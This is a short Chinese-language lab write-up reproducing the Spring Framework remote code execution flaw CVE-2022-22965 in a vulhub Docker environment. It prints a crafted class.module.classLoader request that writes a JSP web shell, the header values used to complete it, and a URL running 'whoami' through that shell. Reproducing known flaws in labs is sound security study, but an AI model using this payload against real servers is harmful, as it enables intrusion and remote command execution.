0x01 漏洞介绍
Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。当Spring部署在JDK9及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。
0x02 漏洞复现
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
在当前目录下使用命令:docker-compose up -d
即可一键开启环境:
看到当前的端口开在了8080
:
打开页面之后,可以看到当前服务已经起来了:
http://127.0.0.1:8080/
按照作者的链接:
http://127.0.0.1:8080/?name=Bob&age=25
出现页面:
然后根据提示,构造请求地址:(方法不唯一
)
http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25
该请求发出之后,需要进行变换:
红色部分替换为:
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2
效果查看下图:
然后访问:
http://10.30.2.146:8080//tomcatwar.jsp?pwd=j&cmd=whoami
执行命令即可!
注意,在这里的多次执行会不断的往日志写文件,请勿频繁操作!